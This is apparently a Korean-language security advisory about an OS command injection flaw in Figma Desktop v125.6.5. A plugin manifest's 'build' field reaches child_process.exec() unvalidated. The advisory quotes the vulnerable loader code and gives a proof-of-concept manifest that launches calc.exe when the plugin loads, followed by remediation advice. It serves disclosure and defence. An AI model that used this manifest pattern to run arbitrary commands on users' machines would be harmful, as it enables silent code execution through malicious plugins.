
Figma 데스크톱 애플리케이션의 플러그인 실행을 통한 OS 명령 삽입 취약점
Figma Desktop Application(v125.6.5)은 플러그인 로더에서 명령어 삽입 취약점을 포함하고 있습니다.
악성 플러그인 매니페스트(manifest.json)는 build 필드를 악용할 수 있으며, 이 필드는 검증 없이 child_process.exec()에 직접 전달됩니다.
이로 인해 플러그인이 로드되는 즉시 보안 경고나 프롬프트 없이 임의의 OS 명령어가 실행될 수 있습니다.
취약점은 main.js에 있는 코드에서 비롯되며, 이 코드는 Node.js 내장 child_process 모듈을 임포트합니다:
Zlt = require("child_process")
이후 플러그인의 manifest.json 파일에 build 필드가 있고 그 값이 문자열인 경우, 애플리케이션은 어떤 검증이나 살균 없이 child_process.exec()를 사용하여 해당 값을 직접 실행합니다:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
결과적으로, 악성 플러그인에 포함된 다음 manifest.json 파일은 build 필드의 값을 OS 명령어로 실행하게 됩니다:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
이 실행 흐름은 Figma의 플러그인 처리 로직에 내장되어 있으며, main.js에 require("child_process") 호출이 포함된 것은 명령어 실행이 애플리케이션의 핵심 로직에 직접 내장되어 있음을 확인시켜 줍니다.
다음 악성 manifest.json을 포함한 플러그인을 실행함으로써:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
이 플러그인이 Figma에 등록되고 실행되면, 지정된 OS 명령어(calc.exe)가 즉시 실행됩니다.
build 필드의 실행은 Figma Desktop Application에서 공식적으로 지원되는 기능이지만, 애플리케이션은 가능한 한 manifest.json의 사용자 제어 필드(예: build)에 의존하지 않아야 합니다.
그러한 필드를 반드시 지원해야 한다면 명령어 삽입을 방지하기 위해 엄격한 입력 검증을 거쳐야 합니다.
또한 Node.js child_process.exec() 사용을 피하고, 명시적인 인수 처리를 제공하는 더 안전한 대안을 채택해야 합니다.